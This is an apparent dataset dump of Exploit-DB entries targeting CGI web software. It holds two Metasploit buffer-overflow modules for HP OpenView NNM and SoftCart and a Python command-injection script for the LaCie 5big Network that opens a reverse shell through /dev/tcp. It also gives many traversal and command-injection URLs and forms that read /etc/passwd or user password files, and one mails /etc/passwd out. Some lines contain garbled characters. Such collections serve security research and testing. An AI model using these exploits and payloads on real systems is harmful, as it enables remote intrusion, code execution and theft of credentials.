deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16795
Description: HP OpenView Network Node Manager (OV NNM) - 'Toolbar.exe' CGI Buffer Overflow (Metasploit)
Type: remote
Platform: cgi
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: hp_nnm_toolbar.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager Toolbar.exe CGI Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
				By sending a specially crafted CGI request to Toolbar.exe, an attacker may be able to execute
				arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-0067' ],
					[ 'OSVDB', '53222' ],
					[ 'BID', '33147' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'HP OpenView Network Node Manager 7.50 / Windows 2000 All', { 'Ret' => 0x5a01d78d } ], # ov.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 7 2009'))

		register_options( [ Opt::RPORT(80) ], self.class )
	end

	def exploit

		sploit = rand_text_alpha_upper(5108) + [target.ret].pack('V') + payload.encoded

		print_status("Trying target #{target.name}...")

		send_request_raw({
			'uri'		=> "/OvCgi/Toolbar.exe?" + sploit,
			'method'	=> "GET",
			}, 5)


		handler

	end

end
Exploit-DB #20683
Description: IkonBoard 2.1.7b - Remote File Disclosure
Type: remote
Platform: cgi
Date: 2001-03-11
Author: Martin J. Muench

Exploit:
source: https://www.securityfocus.com/bid/2471/info

Ikonboard is a perl-based discussion forum script from ikonboard.com.

Versions of Ikonboard are vulnerable to remote disclosure of arbitrary files.

By adding a null byte to the name of a requested file, the attacker can defeat the script's inbuilt feature of appending the suffix '.dat' to requested filenames, a precaution intended to limit the range of files readable using this script.

Exploited in conjunction with '../' sequences inserted into the path of the requested file, this vulnerability allows a remote attacker to submit requests for arbitrary files which are readable by the webserver user.

This could include sensitive system information, including account information and passwords for Ikonboard users and administrators. 

Example:

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00

will disclose /etc/passwd, if readable by the webserver.

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/[member].cgi%00

discloses the ikonboard account password for [member], including admin acounts.
Exploit-DB #20430
Description: Info2www 1.0/1.1 - CGI Input Handling
Type: remote
Platform: cgi
Date: 1998-03-03
Author: Niall Smart

Exploit:
source: https://www.securityfocus.com/bid/1995/info

The info2www script allows HTTP access to information stored in GNU EMACS Info Nodes. This script fails to properly parse input and can be used to execute commands on the server with permissions of the web server, by passing commands as part of a variable. Potential consequences of a successful exploitation involve anything the web server process has permissions to do, including possibly web site defacement. 

Locally:
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail recipient </etc/passwd|)'
$
You have new mail.
$

Remotely:
http://targethost/cgi-bin/info2www?(../../../../../../../../bin/mail recipient </etc/passwd|)
Exploit-DB #20527
Description: Informix Webdriver 1.0 - Remote Administration Access
Type: remote
Platform: cgi
Date: 2000-12-30
Author: isno

Exploit:
source: https://www.securityfocus.com/bid/2166/info

Informix Webdriver, the web-to-DB interface used by Informix database products, may permit unauthorized remote access to the system's administration functions.

Under very specific circumstances, if webdriver is called directly, without any additional parameters included in the URL submitted to the server, the response will take the form of a remote administration page which can permit a malicious non-local user to modify or delete database information.

John Wright <john@dryfish.org> notes that this vulnerability will only be exploitable under a particular misconfiguration, and that by default, the above-described URL will result only in a "404 Asset not found", etc, and not in the display of a remote administration page. 

http://example.com/cgi-bin/webdriver
Exploit-DB #21008
Description: Interactive story 1.3 - Directory Traversal
Type: remote
Platform: cgi
Date: 2001-07-15
Author: qDefense

Exploit:
source: https://www.securityfocus.com/bid/3028/info

Interactive Story is a web-based application written in Perl and is distributed as freeware.

Interactive Story does not filter '../' sequences from user input submitted to a hidden file called 'next'. Remote attackers may take advantage of this by crafting URLs that allow them to break out of webroot and view arbitrary web-readable files.

The disclosed information may be used in further attacks on the host. 

If an attacker sets the "next" field to something like
../../../../../../../../../../etc/passwd%00, Interactive Story will open and display the password file.
Exploit-DB #20370
Description: Kootenay Web Inc whois 1.0 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-10-29
Author: Mark Stratman

Exploit:
source: https://www.securityfocus.com/bid/1883/info

whois is a utility used to find general information and technical details about registered domain names. A vulnerability exists in Kootenay Web Inc's Whois (release v.1.9), a web interface to whois running on a linux server. 

Due to a failure to properly check user-supplied input to a form variable for shell metacharacters, a malicious remote user can trick the script into executing arbitrary code on the host system. At that point an attacker can gain local shell access to the system with the privileges of the webserver. Further compromise (eg, root) may follow.

Unsafe code:
$site = $query->param('whois');
....
$app = `whois $site`;
print "$app .......

Proof of concept:
Type ";id" (without the quotes) into the input box.
Exploit-DB #43226
Description: LaCie 5big Network 2.2.8 - Command Injection
Type: remote
Platform: cgi
Date: 2017-12-07
Author: Timo Sablowski

Exploit:
#!/usr/bin/python

# Exploit Title: LaCie 5big Network 2.2.8 Command Injection
# Date: 2017-12-04
# Exploit Author: Timo Sablowski
# Contact: ${lastname}@tyntec.com
# Vendor Homepage: http://www.lacie.com
# Software Link: http://www.lacie.com/files/lacie-content/download/drivers/5%20Big%20Network.zip
# Version: 2.2.8
# Tested on: Linux
# Platform: Hardware
#
# Command Injection Vulnerability (with root privileges) in LaCie's
# 5big Network appliance running firmware version 2.2.8.
# Just open a netcat listener and run this script to receive a reverse
# shell to exploit the vulnerability.
#
# This exploit has been released to Seagate in accordance to their
# responsible disclosure program and is meant to be used for testing
# and educational purposes only.
# Please do not use it against any system without prior permission.
# Use at your own risk.
#
# Timeline:
# 	2017-09-13: Discovery
#	2017-10-04: Reporting to Seagate
#		asking to fix the issue until 2017-12-04
#	2017-11-07: Seagate stating to not fix the vulnerability as the
#		product has been EOL for a long time


import sys, getopt, os, urllib

url_addition = "/cgi-bin/public/edconfd.cgi?method=getChallenge&login="
blank_payload = "admin|#' ||`/bin/sh -i > /dev/tcp/IP/PORT 0<&1 2>&1` #\\\""

def help():
	print "Usage:"
	print "%s -u <baseurl> -l <listener> -p <port>" %os.path.basename(sys.argv[0])
	print ""
	print "<baseurl> identifies the target's URL, e.g. http://10.0.0.1:8080"
	print "<listener> sets the IP where the attacked system connects back to"
	print "<port> defines the listening port"
	print ""
	print "Example: attack LaCie system to connect back to a remote machine (do not forget to open a netcat session)"
	print "\t %s -u http://10.0.0.1 -l 192.168.0.1 -p 4444" %os.path.basename(sys.argv[0])


def create_payload(blank_payload, listener, port):
	print "[+] Generating payload with IP %s and port %s" %(listener, str(port))
	payload = blank_payload.replace("IP", listener).replace("PORT", str(port))
	payload = urllib.quote(payload, safe='')
	return payload


def send_payload(injected_url):
	print "[+] Sending payload, this might take a few seconds ..."
	print "[+] Check your listener"
	try:
		urllib.urlopen(injected_url)
	except:
		raise


def main():
	try:
		opts, args = getopt.getopt(sys.argv[1:],"hu:l:p:")
	except:
		help()
		sys.exit(1)
	for opt, arg in opts:
		if opt == '-h':
			help()
			sys.exit()
		elif opt in ("-u"):
			url = arg
		elif opt in ("-l"):
			listener = arg
		elif opt in ("-p"):
			port = int(arg)
	try:
		url
		listener
		port
	except:
		help()
		sys.exit(1)

	payload = create_payload(blank_payload, listener, port)
 	injected_url = "%s%s%s" %(url, url_addition, payload)
 	send_payload(injected_url)



if __name__ == "__main__":
	main()
Exploit-DB #20504
Description: Leif M. Wright - 'ad.cgi' 1.0 Unchecked Input
Type: remote
Platform: cgi
Date: 2000-12-11
Author: rpc

Exploit:
source: https://www.securityfocus.com/bid/2103/info

ad.cgi is an ad rotation script freely available, and written by Leif Wright. A problem exists in the script which may allow access to restricted resources.

The problem occurs in the method in which the script checks input. Due to insufficent validation of input, the script allows a user to execute programs on the local system by making use of the FORM method. This makes it possible for a malicious users to remotely execute commands on the system with the priviledges inherited by the HTTPD process. 

<html>
<form action="http://www.conservatives.net/someplace/ad.cgi" method=POST>
<h1>ad.cgi exploit</h1>
Command: <input type=text name=file value="../../../../../../../../bin/ping -c 5 www.foo.com|">
<input type=submit value=run>
</form>
</html>
Exploit-DB #20497
Description: Leif M. Wright everythingform.cgi 2.0 - Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 2000-12-11
Author: rpc

Exploit:
source: https://www.securityfocus.com/bid/2101/info

An input validation vulnerability exists in Leif M. Wright's everything.cgi, a Perl-based form design tool.

The script fails to properly filter shell commands from user-supplied input to the 'config' field.

As a result, the script can be made to run arbitrary shell commands with the privilege of the web server.

<form action="http://www.conservatives.net/someplace/everythingform.cgi"
method=POST>
<h1>everythingform.cgi exploit</h1>
Command: <input type=text name=config value="../../../../../../../../bin/ping
-c 5 www.foobar.com|">
<input type=hidden name=Name value="expletive deleted">
<input type=hidden name="e-mail" value="foo@bar.net">
<input type=hidden name=FavoriteColor value=Black>
<input type=submit value=run>
</form>
Exploit-DB #20506
Description: Leif M. Wright simplestguest.cgi 2.0 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-12-14
Author: suid

Exploit:
source: https://www.securityfocus.com/bid/2106/info

A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver. 

Make a html form similar to:

<form action=/cgi-bin/simplestguest.cgi method=POST>
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 <input type=hidden name=required value="NAME">
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 <input type=hidden name=guestbook
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 value=" | <COMMAND> |">
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 <input type=hidden name="NAME" value="user">
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 <input type=submit>
</form>
Exploit-DB #20503
Description: Leif M. Wright simplestmail.cgi 1.0 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-12-11
Author: rpc

Exploit:
source: https://www.securityfocus.com/bid/2102/info

A vulnerabiliy exists in Leif M. Wright's simplestmail.cgi, a script designed to coordinate email responses from web forms.

An insecurely-structured call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privilege of the webserver. 

<html>
<form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST>
Command: <input type=text name=MyEmail value=";">
<input type=hidden name=redirect value="http://goatse.cx">
<input type=submit name=submit value="run">
</form>
</html>
Exploit-DB #32962
Description: LevelOne AMG-2000 2.00.00 - Security Bypass
Type: remote
Platform: cgi
Date: 2009-04-29
Author: J.Greil

Exploit:
source: https://www.securityfocus.com/bid/34760/info

LevelOne AMG-2000 is prone to a security-bypass vulnerability.

Attackers may exploit this issue to gain access to the administrative interface and internal computers from an outside network. This may aid in further attacks.

Note that valid authentication credentials must still be provided to authenticate to the device's administrative interface. Attackers may use default accounts such as 'operator' or 'manager' if the default passwords have not been changed.

LevelOne AMG-2000 running firmware 2.00.00build00600 and prior versions are affected.

The following examples are available:

HTTP request to access the administration interface login page from the WLAN


GET http://127.0.0.1/ HTTP/1.1
Host: 192.168.0.1:2128
[...]


HTTP request to login to the admin interface with the user "manager"


POST http://127.0.0.1/check.shtml HTTP/1.1
Host: 192.168.0.1:2128
[...]

username=manager&[CREDENTIAL_REDACTED]=ENTER


HTTP request to access other internal IP addresses configured on the private LAN port


GET http://10.0.0.1/ HTTP/1.1
Host: 192.168.0.1:2128
[...]
Exploit-DB #20408
Description: Markus Triska CGIForum 1.0 - 'thesection' Directory Traversal
Type: remote
Platform: cgi
Date: 2000-11-20
Author: zorgon

Exploit:
source : https://www.securityfocus.com/bid/1963/info


CGIForum is a commercial cgi script from Markus Triska which is designed to facilitate web-based threaded discussion forums.

The script improperly validates user-supplied input to the "thesection" parameter. If an attacker supplies a carefully-formed URL contaning '/../' sequences as argument to this parameter, the script will traverse the normal directory structure of the application in order to find the specified file. As a result, it is possible to remotely view arbitrary files on the host which are readable by user 'nobody'.


http://127.0.0.1/cgi-bin/cgiforum.pl?thesection=../../../../../../etc/passwd%00
Exploit-DB #20630
Description: Martin Hamilton ROADS 2.3 - File Disclosure
Type: remote
Platform: cgi
Date: 2001-02-12
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2371/info

A remote user could gain read access to known files outside of the root directory where Martin Hamilton ROADS resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. 

http://target/ROADS/cgi-bin/search.pl?form=url_to_any_file%00
Exploit-DB #19921
Description: Matt Kruse Calendar Script 2.2 - Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 2000-05-16
Author: suid

Exploit:
source: https://www.securityfocus.com/bid/1215/info

Matt Kruse's Calendar script is a popular, free perl cgi-script used by many websites on the Internet. It allows a website administrator to easily setup and customize a calendar on their website. There are two components of this package, calendar-admin.pl and calendar.pl. Calendar-admin.pl calls open() with user-input in the command string but does not parse the input for metacharacters. It is therefor possible to execute arbitrary commands on the target host by passing "|shell command|" as one value of the "configuration file" field. The shell that is spawned with the open() call will then execute those commands with the uid of the webserver. This can result in remote access to the system for the attacker. Calendar.pl is vulnerable to a similar attack.

calender_admin.pl - easiest.

Assuming http://www.ownable.domain/ has calender.pl at:
http://www.ownable.domain/cgi-bin/calender.pl

The admin script by default is at:
http://www.ownable.domain/cgi-bin/calender_admin.pl

Going to that URL will result in a username/password/configuration file input fields. Ignoring username and password, enter:

|<command here>|

(With the pipes) in the configuration file field.

e.g. 

|ping 127.0.0.1|
Exploit-DB #20397
Description: McMurtrey/Whitaker & Associates Cart32 3.0/3.1/3.5 - Full Path Disclosure
Type: remote
Platform: cgi
Date: 2000-11-10
Author: sozni

Exploit:
source : https://www.securityfocus.com/bid/1932/info

Cart32 is a shopping cart application for e-commerce enabled sites.

Cart32 contains a vulnerability which reveals server information. Requesting a specially crafted URL, by way of the CGI application, will reveal the physical path to the web root as well to the Windows and Program files directory.

Successful exploitation of this vulnerability could assist in further attacks against the victim host.

http://target/cgi-bin/cart32.exe/error 
http://target/cgi-bin/c32web.exe/ShowAdminDir 
http://target/cgi-bin/c32web.exe/CheckError?error=53
Exploit-DB #10037
Description: Mercantec SoftCart 4.00b - CGI Overflow (Metasploit)
Type: remote
Platform: cgi
Date: 2004-08-19
Author: skape

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Mercantec SoftCart CGI Overflow',
			'Description'    => %q{
				This is an exploit for an undisclosed buffer overflow
				in the SoftCart.exe CGI as shipped with Mercantec's shopping
				cart software.  It is possible to execute arbitrary code
				by passing a malformed CGI parameter in an HTTP GET
				request.  This issue is known to affect SoftCart version
				4.00b.
			},
			'Author'         => [ 'skape', 'trew' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
				    	[ 'CVE', '2004-2221'],
					[ 'OSVDB', '9011'],
					[ 'BID', '10926'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
					'MinNops'  => 16,
					'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
					'PrependEncoder' => "\x83\xec\x7f",
				},
			'Platform'       => 'bsdi',
			'Targets'        => 
				[
					[ 
						'BSDi/4.3 Bruteforce',
						{
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xefbf3000 },
									'Stop'  => { 'Ret' => 0xefbffffc },
									'Step'  => 0
								}
						},
					],
				],
			'DisclosureDate' => 'Aug 19 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
			], self.class)
	end

	def brute_exploit(address)
		
		buffer =
			"MAA+scstoreB" +
			rand_text_alphanumeric(512) +
			[address['Ret']].pack('V') +
			"MSF!" +
			[address['Ret'] + payload.encoded.length].pack('V') +
			payload.encoded

		print_status("Trying #{"%.8x" % address['Ret']}...")
		res = send_request_raw({
			'uri'   => datastore['URI'],
			'query' => buffer
		}, 5)

		handler
	end

end
Exploit-DB #19995
Description: Michael Lamont Savant Web Server 2.1 - CGI Source Code Disclosure
Type: remote
Platform: cgi
Date: 2000-06-05
Author: Drew

Exploit:
source: https://www.securityfocus.com/bid/1313/info

Omitting the HTTP version from a "GET" request for a CGI script to the Savant Web Server discloses the source code of the script. 

telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<proper script execution/output>

GET /cgi-bin/script.xyz
<source code displayed>
Exploit-DB #20725
Description: Microburst uStorekeeper 1.x - Arbitrary Commands
Type: remote
Platform: cgi
Date: 2001-04-02
Author: UkR hacking team

Exploit:
source: https://www.securityfocus.com/bid/2536/info

A vulnerability exists in versions of uStorekeeper Online Shopping System from Microburst Technologies.

The script fails to properly validate user-supplied input, allowing remote users to submit URLs containing '/../' sequences and arbitrary filenames or commands, which will be executed or displayed with the privilege level of the webserver user.

This permits the remote user to request files and execute commands from arbitrary locations on the host filesystem, outside the script's normal directory scope.

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls |

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd

http://www.example .com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../.
./../../../../bin/cat%20ustorekeeper.pl|
Exploit-DB #20878
Description: mimanet source viewer 2.0 - Directory Traversal
Type: remote
Platform: cgi
Date: 2001-05-23
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2762/info

MIMAnet Source Viewer is a freely available CGI script which allows users to view the source code of files located elsewhere on the server.

Source Viewer accepts an argument, 'loc', which it uses as the filename when opening the requested file. Unfortunately it does not filter '..' and '/' characters, which can be misinterpreted by the script and cause files outside of the intended directory to be opened. As a result, it may be possible for attackers to view the contents of arbitrary webserver-readable files on the filesystem.

The following URL demonstrates the problem:

http://localhost/cgi-bin/viewsrc.cgi?
loc=../[any file outside restricted directory]